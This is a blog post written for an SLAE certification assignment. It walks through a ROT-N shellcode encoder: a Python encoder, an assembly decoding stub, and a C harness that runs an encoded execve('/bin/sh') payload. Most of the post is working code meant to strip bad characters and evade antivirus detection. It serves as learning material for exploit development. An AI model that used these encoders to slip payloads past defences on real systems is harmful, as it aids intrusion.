This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-885
Assignment number: 4
Github repo: https://github.com/abatchy17/SLAE


What is shellcode encoding?

Encoding shellcode is common to avoid bad characters or trick lame AVs into believing your code isn’t malicious. To execute the shellcode, you’ll need a “decoding stub” appending the shellcode so it returns the shellcode back to its original form then allow it to execute. An easy way to encode your shellcode is using MSF encoders (link is outdated as msfencode and msfpayload have been replaced with msfvenom but syntax is pretty much the same.

Assignment 4 of SLAE requires a custom encoder, can be pretty much anything. Being lazy, I decided to go for ROT-13 (or any number between 1-255 for the matter).

This post will walk you through creating a (simple) custom encoder.


Pros and cons of a mediocre ROT-N encoder

Pros:

  • Will most likely get rid of null characters.
  • Some AVs won’t recognize it.

Cons:

  • Decoding stub will easily get picked by AVs.
  • Doesn’t obfuscate the code.
  • Decoder needs to know the size of the shellcode, this can be done by using
    a conditional jump for the operation done, or by explicitly defining the size
    of the shellcode. Implementation details will discuss both approaches.

Implementation of ROT-13 encoder/decoder

1. Generate encoded payload

We’ll first create an encoder (simple python script) that will iterate over the payload (simple execve("/bin//sh", NULL,NULL)) and print it.

#!/bin/python  
  
shellcode = ("\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b\xcd\x80")  
  
magic = 13  
  
encoded1 = ""  
encoded2 = ""  
  
for i in bytearray(shellcode):  
 j = (i + magic)%256  
 encoded1 += '\\x'  
 encoded1 += '%02x' %j  
  
 encoded2 += '0x'  
 encoded2 += '%02x, ' %j  
  
print "Format 1: {0}".format(encoded1)  
print "Format 2: {0}".format(encoded2)  
abatchy@ubuntu:~/Desktop/work$ python encoder.py   
Format 1: \x3e\xcd\x5d\x96\xef\x75\x3c\x3c\x80\x75\x75\x3c\x6f\x76\x7b\x96\xf0\x5d\xbd\x18\xda\x8d  
Format 2: 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d,  

As you can notice, bytes have been incremented by 13, so 31 becomes 3e, c0 becomes cd and so on.


2. Write assembly wrapper including decoding stub

Next, we’ll write an assembly wrapper to decode the shellcode and execute it. Notice that we don’t have a way to know size of the shellcode, so we’ll hard code its size for now, followed by a nice improvement to get rid of that.

; Rot13ExecveSh.asm  
; by Abatchy  
;  
;   nasm -felf32 Rot13Encoder.asm && ld -o Rot13Encoder Rot13Encoder.o  
; Generated shellcode:   
  
global _start  
  
section .text  
  
_start:  
      
    jmp short get_shellcode_addr    ; Get address of shellcode  
  
ReturnLabel:  
    pop esi                 ; Store address of "shellcode" in esi  
    xor eax, eax  
    mov al, 22  
decode:  
    sub byte [esi], 13      ; Decode byte at [esi]  
    dec al  
    jz shellcode              
    inc esi  
    jmp short decode  
  
get_shellcode_addr:  
    call ReturnLabel  
    shellcode: db  0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d  

3. Extract shellcode into C wrapper

Why do we need this? The shellcode is defined in the text segment, which means editing it will crash the program, so we need a C wrapper where the shellcode is decoded without causing issues.

/*  
 Rot13ExecveSh.c  
By Abatchy  
gcc Rot13ExecveSh.c -fno-stack-protector -z execstack -o Rot13ExecveSh.out  
*/  
  
#include <stdio.h>  
#include <string.h>  
  
unsigned char sc[] =   
"\xeb\x0f\x5e\x31\xc0\xb0\x16\x80"  
"\x2e\x0d\xfe\xc8\x74\x08\x46\xeb"  
"\xf6\xe8\xec\xff\xff\xff\x3e\xcd"  
"\x5d\x96\xef\x75\x3c\x3c\x80\x75"  
"\x75\x3c\x6f\x76\x7b\x96\xf0\x5d"  
"\xbd\x18\xda\x8d";  
  
int main()  
{  
    printf("Shellcode size: %d\n", strlen(sc));  
    int (*ret)() = (int(*)())sc;  
    ret();  
}  

Now compile and run!

abatchy@ubuntu:~/Desktop/work$ gcc Rot13ExecveSh.c -fno-stack-protector -z execstack -o Rot13ExecveSh.out  
abatchy@ubuntu:~/Desktop/work$ ./Rot13ExecveSh.out   
Shellcode size: 44  
$ exit  

4. Getting rid of hard-coded shellcode size

Hard coding the shellcod size in the decoding stub is ugly, and is better to get rid of it for robustness, how do we do that?

Check the assembly code we used earler, it’s already using the SUB instruction, which affects registers. What if we add an additional byte of value N (in this case it’s 13), so when it’s subtracted, followed by a JZ jmp instruction, we know that we reached the end of the shellcode?

Modified assembly wrapper

; Rot13ExecveSh.asm  
; by Abatchy  
;  
;   nasm -felf32 Rot13Encoder.asm && ld -o Rot13Encoder Rot13Encoder.o  
; Generated shellcode:   
  
global _start  
  
section .text  
  
_start:  
      
    jmp short get_shellcode_addr    ; Get address of shellcode  
  
ReturnLabel:  
    pop esi                 ; Store address of "shellcode" in esi  
decode:  
    sub byte [esi], 13      ; Decode byte at [esi]  
    jz shellcode              
    inc esi  
    jmp short decode  
  
get_shellcode_addr:  
    call ReturnLabel  
    shellcode: db  0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d, 0x0d

5. Python wrapper to support ROT-N

Wrapper below basically dissects the shellcode to replace instances where N is used, and encodes the payload, also shows a warning message if shellcode generated contains any null bytes.

#!/bin/python  
  
import sys  
  
def parse_args():  
    if len(sys.argv) < 2:  
        print "Usage: {0} N, where N is the number of rotations to be made".format(sys.argv[0])  
        print "[+] Using default value of N = 13"  
        return 13  
    else:  
        x = int(sys.argv[1]) % 256  
        if x < 1:  
            print "[-] Invalid number of rotations"  
            exit()  
        return x  
  
magic = parse_args()  
rotated_execve = ""  
hasNulls = False  
          
print "[+] Generating ROT-{0} encoded payload".format(magic)  
  
execvesh = ("\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\xb0\x0b\xcd\x80")  
  
  
for i in bytearray(execvesh):  
 j = (i + magic)%256  
        if j == 0:  
                hasNulls = True  
 rotated_execve += '\\x'  
 rotated_execve += '%02x' %j  
  
sc = "\\xeb\\x09\\x5e\\x80\\x2e" + ("\\x%02x"%magic) + "\\x74\\x08\\x46\\xeb\\xf8\\xe8\\xf2\\xff\\xff\\xff"   
sc += rotated_execve + ("\\x%02x"%magic)  
  
print "[+] Generated shellcode: " + sc  
  
if hasNulls:  
    print "[-] WARNING: Encoded payload contains at least one null byte, consider changing N"  

Feel free to give any feedback/suggestions.

- Abatchy